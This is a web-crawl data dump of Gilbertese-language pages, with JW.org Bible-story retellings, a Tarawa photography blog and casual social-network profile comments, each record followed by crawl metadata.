aba ae uakaan ma te kaawa ae Totom. E bati iai te ran ma uteute aika kiriin. Ngaia are e rinea te tabo anne ao e a mwaing nako iai ma ana utu.\nA rangi ni buakaka kaain Totom ma te kaawa ae uakaan ma ngaia ae Komora. Ni koauana, a rangi ni buakaka n te aro are e a iangoia Iehova bwa e na kamaunai kaawa akanne. Ma e tangiria te Atua ni kamaiua Rota ma ana utu, ngaia are e a kanakoia uoman anera bwa a na anga te kauring aei: 'Kawaekoaingkami! Otinako man te kaawa aei! E nang kamauna Iehova.'\nE aki waekoa n nako Rota. E teimatoa ni baenikai. Ngaia are a a kawaekoaia anera n taua bain Rota ma buuna ao natiia aine ake uoman, ao a kaotinakoia man te kaawa ao a taku: 'Birinako! Rawea maiumi, ao tai tanrikaaki. Ngkana kam tanrikaaki, kam na boni mate!'\nNgke a roko n te kaawa ae Toa, e a kabwakaa Iehova te karau ae te burimton ma te ai i aon Totom ma Komora. A a bane ni kamaunaaki kaawa aikai. E aki ongeaba iroun Iehova buun Rota ao e tanrikaaki, ike e a riki iai bwa te boua ae te taoro! Ma e kamaiuaki Rota ma natina aine ibukina bwa a ongeaba iroun Iehova. A bae n rangi n nanokawaki ngke e aki ongeaba neiei. Ma a kukurei bwa a ongeaba n ana kaetieti Iehova.\n\"Kam na uringa buun Rota.\"—Ruka 17:32","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/booki\/karaki-man-te-baibara-reirei\/3\/uringa-buun-rota\/","date":"2018-04-20T01:38:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125937090.0\/warc\/CC-MAIN-20180420003432-20180420023432-00206.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":324,"character_repetition_ratio":0.058,"word_repetition_ratio":0.0,"special_characters_ratio":0.239,"stopwords_ratio":0.478,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"A rau tibun Iteraera ngke e teimatoa Toromon n taromauria Iehova. Ma e mare Toromon ma aine aika bati man aaba tabeua, ao a taromaurii bouannanti buuna aikai. Teutana imwin teutana, e a bitaki ana iango Toromon ao e a moanna n taromaurii naba bouannanti. E rangi ni maraki nanon Iehova. E taku nakon Toromon: 'E na anaaki te tautaeka n uea ae Iteraera mairouia am utu ao e na bwenaua nakon uamwakoro. N na anga te mwakoro are bubura riki nakon temanna mai buakoia am toro, ao a na tautaeka am utu i aon ane uarereke riki.'\nE kamataataa Iehova ana babaire n te anga riki teuana. E mwananga temanna ana toro Toromon ae Ieroboam i aon te kawai ao e kaitiboo ma te burabeti ae Aiia. E raeraea kunnikaina Aiia nakon 12 te mwakoro ao e taku nakon Ieroboam: 'E na anaa Iehova te tautaeka n uea ae Iteraera man ana utu Toromon ao e na bwenauaia nakon uoua. Anai tebwina mwakorona bwa ko na riki bwa te uea i aoni baronga aika tebwina.' E ongo taekan aei te Uea ae Toromon ao e kani kamatea Ieroboam! Ngaia are e a birinako teuaei nako Aikubita. Imwina riki, e a mate Toromon ao e a uea natina are Reoboam. Ngaia are e a iangoia Ieroboam bwa ai akea ana kangaanga ngkana e a okira Iteraera.\nA taku aia unimwaane tibun Iteraera nakon Reoboam: 'Ngkana ko karaoa ae raoiroi nakoia aomata, a na boni kakaonimaki ni koaua nakoim.' Ma a taku raoraon Reoboam aika ataei riki: 'Ko riai ni karawawataia aomata! Karawawatai riki aia mwakuri!' E toua mwin aia taeka n reirei raoraona ake a ataei riki Reoboam. E iowawa nakoia aomata ao a a karitei nakoina. A kaueaa Ieroboam i aoni baronga ake tebwina, are e a aranaki bwa te tautaeka n uea ae Iteraera. A aranaki baronga ake uoua bwa te tautaeka n uea ae Iuta ao a teimatoa ni kakaonimaki ni koaua nakon Reoboam. A a bwenaua ngkai barongan Iteraera ake 12.\nE aki tangiriia ana aomata Ieroboam bwa a na nako n taromauri i Ierutarem, ae tautaekanaki iroun Reoboam. Ko ataia bwa bukin tera? E raraoma Ieroboam bwa rimwi a a manga karitei nakoina ana aomata ao ni boutokaa Reoboam. Ngaia are e a karaoi uoman kaao ataei aika koora ao e tuangia ana aomata ni kangai: 'E a rangi n raroa Ierutarem. Kam kona n taromauri ikai.' A a moanna aomata n taromaurii kaao ataei ake koora ao ni manga mwaninga taekan Iehova.\n\"Kam na tai reitaki ma ake a aki onimaki bwa bon te reitaki buaka anne. Bwa te iraorao raa iraoraon te raoiroi ma te buakaka? . . . Ke tera ae e ibuokanibwai iai ane e onimaki ma ane e aki onimaki?\"—2 I-Korinto 6:14, 15","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/booki\/karaki-man-te-baibara-reirei\/8\/e-bwenaua-te-tautaeka-n-uea-ae-iteraera\/","date":"2018-04-22T11:11:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125945584.75\/warc\/CC-MAIN-20180422100104-20180422120104-00361.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":456,"character_repetition_ratio":0.072,"word_repetition_ratio":0.0,"special_characters_ratio":0.217,"stopwords_ratio":0.399,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E boni koaua ana berita te Atua ibukini manga kaokani bwaai nakon aroia n Itaia mwakoro 65, ngaia are e taekinna Iehova bwa kaanga e a tia ni koro bukina.\nE karika karawa ae boou ao te aonnaba ae boou Iehova ike a na aki manga rin n te iango bwaai ake rimoa\nTera karawa ae boou?\nTe tautaeka ae boou ae e na uotii baika raoiroi nako aon te aba\nE tei n 1914 ngke e riki Kristo bwa te Uea n Ana Tautaeka n Uea te Atua\nTera te aonnaba ae boou?\nTe botannaomata man aaba nako, taetae, ao reeti ake a kukurei n aantaeka i aan te tautaeka ae boou i karawa\nN te aro raa ae a na aki manga rin n te iango bwaai ake rimoa?\nA nang akea bwaai aika karikii ururingani baika kammaraki, ni kaineti ma baika ti rotakibuaka iai n rabwatara, ara iango, ao ara namakin\nE na rangi ni kakukurei maiuia aomata aika kakaonimaki ao a na ururingi baika kakukurei ni katoabong","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/jw-te-boki-n-reirei\/beberuare-2017-mwb\/kaetieti-n-te-botaki-beb27-maa5\/karekea-te-kimwareirei-ae-bati-karawa-ae-boou-ao-te-aonnaba-ae-boou\/","date":"2018-04-21T06:59:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125945037.60\/warc\/CC-MAIN-20180421051736-20180421071736-00427.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":169,"character_repetition_ratio":0.067,"word_repetition_ratio":0.025,"special_characters_ratio":0.219,"stopwords_ratio":0.426,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"kona maury sis..........i think ko a rikirake riki ni boton aine ma am pic................ao kona oki nigai nako kiribati bwatina nako ni midtown.....hhahah.......kaga i oago bwa koa maga reirei..... ea gae ni bane am tai ao are ko bn kan reirei nb shshsh..........konag kabanetai ko riai ni kamateaki ma aron am vaaki anne........tao ko matu ao ea kabaeaki nb roroam....hahaha...............shshe tau ma tina kaboo bwa antai riki ae e vantogaaki nte reirei iroun tamana.....ahaha tia boo moa.........sis.hehe.\nmauri natina! e uara te seaman? aa kani bane te 7 seas ao all ports iroum ke? ea bon jealous ngkai aeroman. e tau ma kakaonimaki ao tekeraoi te waaki. boua ngkai e tataninga ana mare nakon ritemba 2011.try to make it eh ba kona karaai wa ma tarin buuna. tia boo moa.\nMaio koa uringa au lap top are ia tia ni butiko ngkna e kona reke ni manangam aio ok ia manga bon tareboniko ngkna ko roko ikai ena tekeraoi te managa ibukin te makuri ao take care ia bon karokoa am kamauri nakon tamam\nmauri naba maio. ea boni maan te tai ke? anyway life still goes on n i want to retire quickly so i can enjoy just fishing n farming but i got so many big mouths to feed while they are still bero in the house.maybe when they start working. ok e raba te ururing ao nako mai kaea ana mare boua ngkana ko mawa nakon temotirawa are ritemba. ena tekeraoi te waaki ao tia boo moa","id":"","dump":"CC-MAIN-2018-22","url":"http:\/\/banabanvoice.ning.com\/profile\/MaxMaio","date":"2018-05-26T07:42:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-22\/segments\/1526794867374.98\/warc\/CC-MAIN-20180526073410-20180526093410-00312.warc.gz","language":"gil","language_score":0.9985219836,"language_script":"Latn","minhash_cluster_size":25,"top_langs":"{\"gil_Latn_score\": 0.9985219836235046}","num_words":249,"character_repetition_ratio":0.05,"word_repetition_ratio":0.0,"special_characters_ratio":0.265,"stopwords_ratio":0.193,"flagged_words_ratio":0.0,"lang_id_score":0.998,"perplexity_score":500.0,"cluster_detection":1} +{"text":"I rawea te tamnei aei inanon teuana te nei ake i akuun te aobiti are e tararua te Eco Farm are n te Ananau Causeway imarenan Bikenibeu ma Bonriki Internationa Airport. Te bong bon Moanibong 4 bongin Tebetembwa te ririki aio.\nIai te uatiman are e tataruai neei akanne aingaia are e tamaroa bwa e na ataaki bukin riniu ma au kaa nakon taian nei ake i akuuia rake. I tekeraoi bwa e kariaiakaki rinin au kaa aingaia are I a boorake ni kakaea te tabo ma te bwai ae N na kamatakuko iai. Ibuakon au tamnei aika a bati ake I rawei n te tabo aei, ao aio teuana ma buakoia. Au kantaninga bwa e reke am tai n noora te tabo aio ngkoe are ko tuai man roko ikai.\nTiaki tibwa rokou aio n te tabo aio ma tao ai au kauoua ke kateniua. Ma rokou n te tai aio – ao I rangi ni kubanako bwa te nei ngkoa aio e iabuti ao ko aki kona n ruo ke n nakonako inanona. N tarakina ngkana e iabuti ao te kantaninga iai bwa ko kona n ribunako ni mwakorona tabeua ake a nano mani bokaboka. Ai bon aakea te ran ngkai, ao angiin nanona e a mwautakataka. Tera ae karika te mwautakataka aio? Au kantaninga bwa e reke man maanin aki bwaabwakan te karau n te ririki aio! E rabwa bwa e a reke au tai n nakonako inanon te nei aei ao ni kaea nukana ike I a rawea ia te tamnei ae ko noria aei.\nI aki kabongana te tripod ngkai e boobuaka naano ao mani bokaboka naba. I a bon taua naba te camera ni bau ngke I raweia. Te bwai ane e ura karana anne bon te bokaboka are e a mwau. Iai kaneinei aika a uarereke ma aki nano ao ko kona n nakonako iai. Uteuten nanona a rangi ni manguroro ao n tara n rangi ni maeu. E rangi ni kantara tarakin nanon te nei aio ngkai e a mwau ma kanoana aika a bati karaia.\nTi a pause moa ikai ma ti a manga reitia n ara tamnei ae na roko ….","id":"","dump":"CC-MAIN-2018-22","url":"https:\/\/aerophotoblog.com\/2017\/10\/18\/dried-pond\/","date":"2018-05-22T11:46:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-22\/segments\/1526794864725.4\/warc\/CC-MAIN-20180522112148-20180522132148-00573.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":358,"character_repetition_ratio":0.053,"word_repetition_ratio":0.0,"special_characters_ratio":0.224,"stopwords_ratio":0.408,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ti a bita moa ngkai ara scene man te Landscape nakon te Sunset. Te sunset bon teuana te scene ae rangi ni kan nonoraki iroura ni kabane. Eng, e bon tatangiraki ao mani kakukurei tarakin tamnein te sunset – riki taian kara ake e tatao iai te uraura ke te orange.\nKo ongongo aia anene ataein Kiribati are e bwabwainaki rimoa ngkana a nora taai bwa e nangi bung? E taku mwanewena, \"Tiiron Tiron, Taaron Taaron ….\" N aia tai n anene ao a boni bae ni mena iaon te bike (lagoon side) ao n tabe ni matakuakina taai n ana tai n ruruon ao n rinnako ian tari. Bukin tera aki toki atein Kiribati ni kakaraoa te waaki aei? Teuana bukina ae ti aki nanououa iai bwa a katikaki nanoia ni karan (colours) te sunset.\nIrouia photographers ao te bwakantaai bon te aoa ae rangi n tamaroa ibukin te rawetamnei kioina ngke e marau te oota iai. N te English ao e aranaki bwa te Golden Hour ke te tai are e koora iai te oota.\nI kuri aki ooa kabanean aoan te Golden Hour n te bong aei. Taai e nang mauna nako ma I tekeraoi bwa I kauia n te tabo ae ko noria aio. I kataia ni kabongana te nei anne bwa te rain are e na kaira matan te tia mataku nakon te sun are e nang set in the west.\nIai te anga ae I kona ni katamaroa riki iai te sunset aei?","id":"","dump":"CC-MAIN-2018-22","url":"https:\/\/aerophotoblog.com\/2017\/10\/21\/golden-hour\/","date":"2018-05-22T11:45:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-22\/segments\/1526794864725.4\/warc\/CC-MAIN-20180522112148-20180522132148-00313.warc.gz","language":"gil","language_score":1.0000097752,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"gil_Latn_score\": 1.0000097751617432}","num_words":247,"character_repetition_ratio":0.029,"word_repetition_ratio":0.0,"special_characters_ratio":0.224,"stopwords_ratio":0.401,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tao mwiin 5am ao I aki tabwara ma I ana au camera ma au tripod ao man ruo nakon te kaa. A tuai uti kaain batau bwa are e tuai rangi n ota aingaia are I a bonako naba. N rokou n te main road ao e tara n tuai tabetabe nanon te kawai bwa tao ti irawaa te kaa are I kaitibo ma ngaai.\nI buti nako tabon Bikenibeu Mainuku bwa N na kaea au tabo are I a tia ni iangoia bwa N na karekei au tamnei iai. I a kakaraurau ngkanne ni buti n te causeway are i marenan Bikenibeu ma Bonriki ao e tara ni karako te aomata ni ririaki n te tabo anne.\nI bwakee ni ira te kawai are e rinnako nako rarikin taian nei – kanga ni uakaan ma akuun te tabo are a tei iai mwaneaban taian abamwakoro i Temwaiku. Ngke e reke ranenen au kaa n rinnako nakon rarikin taian nei ao I a park ao man set naba au camera ma au tripod. N tauraoia ao I a waakina au rawetamnei ao ngaia aio teuana mai buakoia.\nNgke arona bwa ko mena irarikiu n te ingabong aio ao ko na bon aroka boin te nei ae kakaonoti ma iriana are namakinan karekaren te ang mai mainiku ae kakamaeu man a mwaitoro. Ma akea au nanououa bwa ko kona n namakina mwaitoron te ang ti man tarakin te tamnei aio. Ao boin te nei? E tau bwa ko aki roko moa iai, ke kanga?\nEng, I bon kabongana te rawetamnei are e aranaki bwa te panorama ao e vertical tein au camera bwa e aonga n mwaiti riki objects aika a reke (ground nakon te sky) n au tamnei.\nN okiran au auti (tao mwiin 8am) ao I a karaoa au tamnei aio ni kabongana te Photoshop CS4. E karako te bwai ae I karaoia nakon au tamnei aio bwa ti te:- panorama, te cropping, te colour adjustments ao ai te sharpening n aron ae ko noria ngkai.","id":"","dump":"CC-MAIN-2018-22","url":"https:\/\/aerophotoblog.com\/2017\/10\/12\/konamauri\/","date":"2018-05-22T11:50:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-22\/segments\/1526794864725.4\/warc\/CC-MAIN-20180522112148-20180522132148-00574.warc.gz","language":"gil","language_score":1.0000095367,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"gil_Latn_score\": 1.000009536743164}","num_words":336,"character_repetition_ratio":0.053,"word_repetition_ratio":0.0,"special_characters_ratio":0.227,"stopwords_ratio":0.414,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"mauri natiu ma tibuu ti boni marurung raoi ao ngkai ea manga roko naba te maitoro ea boni korakora riki nakon last year akea rongo2 ikai bwa ti te mwakuri ao ai te katauraoi nakon te kainaomata\nau email address meralisi.nanton114@gmail\nena tekeraoi kanoan te bong ao teimatoa reitaki nakomai\ntia miss te rekenibong ma koanga naba ara kiss n congratz nakoin natim ke!! well...neiko ko aki maninga au takakaro ngkoa arei??....ko bon ataia ga ba are ea bon aki kona n nako man te blood ngaia are ea birinako Raineaba nako tari.... ao ngaia ae tia nanona iai te reirei\nMy prince and princess were there with grannys...long time u havn't visited Nuku, eh?? where are u guys now??\nhey thx 4 da news.......so m sculing hea in kiribati in st patrick college.life hea is gud but boring compared 2 rabi....lots of fun dare.so hws ur family members dare m fine n so as m famili hea. nt so mj news ai bon teakan naba te reirei ao akea riki......mayb boys 2 hahahahah ti te joke naba","id":"","dump":"CC-MAIN-2018-26","url":"http:\/\/banabanvoice.ning.com\/profile\/NichoBtake?xg_source=activity","date":"2018-06-20T03:54:58Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-26\/segments\/1529267863411.67\/warc\/CC-MAIN-20180620031000-20180620051000-00608.warc.gz","language":"gil","language_score":0.9977453947,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"gil_Latn_score\": 0.9977453947067261}","num_words":175,"character_repetition_ratio":0.004,"word_repetition_ratio":0.0,"special_characters_ratio":0.237,"stopwords_ratio":0.177,"flagged_words_ratio":0.0,"lang_id_score":0.998,"perplexity_score":500.0,"cluster_detection":1} +{"text":"ti tebo ma ea bon ragi ni kabotu ara tabo aei ke ara aobiti aei ao irarikina naba akea te bitaki n aron au iango ma tera raoi am advice n aron aei ngkai bon akea te bitaki,Atiku aikai bwa uenakin am motirawa.Ao e koaua ea manga bwaka n aoraki am unimwane ae Nemta n tain raoi butimwaean te ririki ae boou 2015,e tau enjoy am motirawa ma am utu","id":"","dump":"CC-MAIN-2018-26","url":"https:\/\/www.twoo.com\/cities\/tarawa-2110257\/mwaere-36-140777460201","date":"2018-06-25T04:22:57Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-26\/segments\/1529267867424.77\/warc\/CC-MAIN-20180625033646-20180625053646-00505.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":70,"character_repetition_ratio":0.054,"word_repetition_ratio":0.0,"special_characters_ratio":0.222,"stopwords_ratio":0.257,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Te tongo bon arokara ae moan te kakawaki ibukin totokoan kanakin mataniwiin abara. Riki inanon ririki aikai ngkai e noraki korakoran ana urubwai iabuntin taari - are e taekinaki bwa kanoan ana waaki climate change. E rangi ni mwaiti kurikuri te tongo n te tabo aio ma I rinea aio kioina bwa e onoti ao … Continue reading Mangrove Tree","id":"","dump":"CC-MAIN-2018-26","url":"https:\/\/aerophotoblog.com\/tag\/tree\/","date":"2018-06-25T19:14:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-26\/segments\/1529267868876.81\/warc\/CC-MAIN-20180625185510-20180625205510-00419.warc.gz","language":"gil","language_score":1.0000082254,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"gil_Latn_score\": 1.000008225440979}","num_words":58,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.189,"stopwords_ratio":0.328,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Te tongo bon arokara ae moan te kakawaki ibukin totokoan kanakin mataniwiin abara. Riki inanon ririki aikai ngkai e noraki korakoran ana urubwai iabuntin taari - are e taekinaki bwa kanoan ana waaki climate change. E rangi ni mwaiti kurikuri te tongo n te tabo aio ma I rinea aio kioina bwa e onoti ao … Continue reading Mangrove Tree\nE aki rangi n kakabonganaki te taeka ae 'bungin namwakaina' (moonset) tao kioina bwa e burenibwai norana irouia aomata. Tiaki aron te taeka ae 'bungintaai' (sunset) are ko rangi ni bati riki n ongongo n te marooro. Bukina ni koaua bwa 'bungintaai' ti nonoria n te bong koraki - ma 'bungin namwakaina' e riki n … Continue reading Moonset\nWhen people see me, they may feel odd about me. Some may consider me as a useless lonely log (tree trunk) stuck at this shallow muddy part of Ambo - Taborio lagoon. Others may think that I shouldn't be here. Despite such feelings, I know that I am worth enough for birds, fish and other … Continue reading Tree Trunk\nAikai kaibuke (wa-uawa) are a bae ma rarikin te uaabu are i Betio ni uakaan ma te jetty. E karako te koraki n ririaki n te aono aio kioina bwa e a tibwa ingabong. Tao ngkana e tawanou riki ao tao e na manga rangi n tabetabe te tabo aio irouia kaa ma taan mwakuri … Continue reading At The Wharf\nHere are few things I did before I finally produced this image. PS4, Photoscape and Picasa are mostly the photo software I use in post-processing photographs. Yes, I cropped the top part of the image in order to raise the horizon a little bit up. I wanted the horizon to be higher than this but … Continue reading Peaceful Nightfall\n'Have A Job' actually talks about why these rocks are placed at this particular site. What if the rocks fall or are washed away by the waves? Our road (newly built) will be gone! It's Temwaiku again but this time on the ocean side of the Taiwan Technical Mission camp. For a change, I turned … Continue reading Have A Job\n'Together We're Strong' e bon taekina aia mwakuri atiibu aikai ni totokoa kanakin te aba ao riki ana urubwai taari nakon te kawai are e boou man tamaroa. Te kantaninga bwa ko ata te tabo aio iaon Tarawa. Tera am noonori? Taekina ti 'aki nakoraoina' n te aro are e na tamaroa are i mwiina. … Continue reading Together We're Strong","id":"","dump":"CC-MAIN-2018-26","url":"https:\/\/aerophotoblog.com\/category\/seascape\/","date":"2018-06-25T19:12:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-26\/segments\/1529267868876.81\/warc\/CC-MAIN-20180625185510-20180625205510-00448.warc.gz","language":"gil","language_score":0.9981572628,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"gil_Latn_score\": 0.998157262802124}","num_words":412,"character_repetition_ratio":0.069,"word_repetition_ratio":0.0,"special_characters_ratio":0.215,"stopwords_ratio":0.25,"flagged_words_ratio":0.0,"lang_id_score":0.998,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Here are few things I did before I finally produced this image. PS4, Photoscape and Picasa are mostly the photo software I use in post-processing photographs. Yes, I cropped the top part of the image in order to raise the horizon a little bit up. I wanted the horizon to be higher than this but … Continue reading Peaceful Nightfall\nKo boni bae n tia n totoua te kawai are e biri ri tanrake mai tabon te airstrip are i Bonriki Airport ao ni buti nakoTemwaiku. Ngkana ko a tia ao ko na bae n tia n noora te aroka aio. E uakaan ma te auti are te boratentao. Tatara tanrake n taabo akanne ao … Continue reading Lone Tree\nTi a bita moa ngkai ara scene man te Landscape nakon te Sunset. Te sunset bon teuana te scene ae rangi ni kan nonoraki iroura ni kabane. Eng, e bon tatangiraki ao mani kakukurei tarakin tamnein te sunset - riki taian kara ake e tatao iai te uraura ke te orange. Ko ongongo aia anene … Continue reading Golden Hour","id":"","dump":"CC-MAIN-2018-26","url":"https:\/\/aerophotoblog.com\/category\/sunsets\/","date":"2018-06-25T19:06:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-26\/segments\/1529267868876.81\/warc\/CC-MAIN-20180625185510-20180625205510-00554.warc.gz","language":"gil","language_score":0.9987394214,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"gil_Latn_score\": 0.9987394213676453}","num_words":176,"character_repetition_ratio":0.053,"word_repetition_ratio":0.0,"special_characters_ratio":0.212,"stopwords_ratio":0.267,"flagged_words_ratio":0.0,"lang_id_score":0.998,"perplexity_score":500.0,"cluster_detection":1} +{"text":"'Together We're Strong' e bon taekina aia mwakuri atiibu aikai ni totokoa kanakin te aba ao riki ana urubwai taari nakon te kawai are e boou man tamaroa. Te kantaninga bwa ko ata te tabo aio iaon Tarawa. Tera am noonori? Taekina ti 'aki nakoraoina' n te aro are e na tamaroa are i mwiina. … Continue reading Together We're Strong\nKo boni bae n tia n totoua te kawai are e biri ri tanrake mai tabon te airstrip are i Bonriki Airport ao ni buti nakoTemwaiku. Ngkana ko a tia ao ko na bae n tia n noora te aroka aio. E uakaan ma te auti are te boratentao. Tatara tanrake n taabo akanne ao … Continue reading Lone Tree","id":"","dump":"CC-MAIN-2018-26","url":"https:\/\/aerophotoblog.com\/category\/sunrise\/","date":"2018-06-25T19:04:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-26\/segments\/1529267868876.81\/warc\/CC-MAIN-20180625185510-20180625205510-00562.warc.gz","language":"gil","language_score":1.0000087023,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"gil_Latn_score\": 1.0000087022781372}","num_words":119,"character_repetition_ratio":0.076,"word_repetition_ratio":0.0,"special_characters_ratio":0.22,"stopwords_ratio":0.361,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"te unimwane ae e karineaki irou n rei taki maa kain abana . mauri te katautau mai ikai bwa ko booni marurung\nngai ngkai i boni mwena i tuvalu , ao rongorongon abara aio bon ti TERAOI are natin nei Tebwaerae ae e tauaki aia kaibuke i roia tani iowawa mai Somalia . nearly now two months with those pirates . ti ngaia moa mai ikai tibobo moa !!\nMauri riki Reia,\nEng I boni kinako ao I nangi ni kaitaua te page aio bwa ea manga kaitiboira imwin taai aika bakanako. A uara am koraki? I taku bwa aboni bane ni marurung. E uara ami association? Ia manga ongora mai Iroum. TI boo moa.","id":"","dump":"CC-MAIN-2018-26","url":"http:\/\/banabanvoice.ning.com\/profile\/ReiaKourataake","date":"2018-06-21T13:58:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-26\/segments\/1529267864172.45\/warc\/CC-MAIN-20180621133636-20180621153636-00543.warc.gz","language":"gil","language_score":0.9999655485,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"gil_Latn_score\": 0.9999655485153198}","num_words":110,"character_repetition_ratio":0.011,"word_repetition_ratio":0.0,"special_characters_ratio":0.22,"stopwords_ratio":0.255,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Arokan Kiribati ae rangi ni kabuta mani mwaiti kurikuri. E aki reke ara kikina man tarakina bwa te irira ao ngkai akea naba uaana n te tai aio. E tara n aki rangi ni maeuraoi te aroka aio tao kioina ngkai e rikirake ma aroka aika bati ngkai e bon buakoako ana tabo aio. E … Continue reading Pandanus Tree","id":"","dump":"CC-MAIN-2018-26","url":"https:\/\/aerophotoblog.com\/tag\/branches\/","date":"2018-06-25T19:06:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-26\/segments\/1529267868876.81\/warc\/CC-MAIN-20180625185510-20180625205510-00433.warc.gz","language":"gil","language_score":1.0000095367,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.000009536743164}","num_words":59,"character_repetition_ratio":0.007,"word_repetition_ratio":0.0,"special_characters_ratio":0.207,"stopwords_ratio":0.339,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E KAWAEKOAKOA Timoteo n nakonako n te kawai are e a kararoaaki iai mani mwengana ao ni kaatuua ana iango n te baere e mena imwaina. A kaira te kawai raona ni mwananga ao n rinanon tawaana ake e bon taneiai iai. E a tabe n uarereke taraan te kaawa ae Rutetera are mena i aon te tabuki ae aki rangi n rietata. E wingare Timoteo ngke e iaiangoa tinana ma tibuna te unnaine ake a matangare ma te kakatonga, ao ni karabaa naba nanokawakia ngke a tarataraia n nako. E riai n tanrikaaki ni kaboo n te kabanea n tai?\nE bae n okioki te abotoro Bauro n tanrikaaki nakon Timoteo ni kaungaa. E ataia bwa e bon teimatoa ni mamaamaa Timoteo ao e riai n tokanikai iai, ma e kukurei n nora ingaingan nanon teuaei. Bon te roro n rikirake Timoteo, tao ai tebwi tabun ana ririki ke ai tibwa uabwi tabun ao e korakora karineani Bauro irouna ao e tatangiria naba. E a mwananga ngkai Timoteo ma te mwaane ae rangi n ingainga ao ni kakaonimaki aei, n te kawai are e nang kararoaaki iai mani mwengana bubua ma bubua te maire. A bae n rianna ao n toka n te kaibuke ao ni boo ma kangaanga aika bati i aoni kawaia. E aki ataia raoi Timoteo bwa e na manga okira mwengana ke e na aki.\nTera ae kaira te rorobuaka aei bwa e na uaiakina te aeka ni maiu aei? Baikara kaniwanga ake a kona ni karika te anga boni ngaia aei bwa e na uaana? Ao e kangaa n rotaki ara onimaki n ana onimaki Timoteo?\n\"MANGKE TE MERIMERI\"\nTi na okirikaki nakon uoua ke tenua te ririki n nako ao n iangoia ae Rutetera bon ana kaawa Timoteo. Bon te kaawa ae uarereke ae tionako ae mena n te mwarua ae aoneinei. A bae n ota n te taetae ni Kuriiti kaaina ma a boni kabongana oin aia taetae ae taetaen Rukaonia. N te bong teuana ao e a kiriwe te kaawa ae rau aei. A a roko man te kaawa ae bubura ae uakaan ae Ikonio, mitinare aika uoman ae te abotoro Bauro ao raona ni mwananga ae Barenaba. Ngke a uarongorongo i mataia aomata ao Bauro e a nora naba te aomata ae mwauku are e kaotiota te onimaki ni koaua. Ngaia are e a karaoa te kakai Bauro ni kamarurunga teuaei!—Mwakuri 14:5-10.\nA bati aomatan Rutetera ake a kakoauai karaki nikawai ibukia atua ake a onikiia bwa aomata ao a kawara aia tabo n taai ake rimoa. Ngaia are aomata, a kaireruaa Bauro bwa Ereme ao Barenaba bwa Tieuti! A kuri n aki kona Kristian aika nanorinano aikai n tukiia aomata ake a nang angakarea nakoia.—Mwakuri 14:11-18.\nMa bon iai tabeman kaain Rutetera ake a ataia ae te roko aei bon 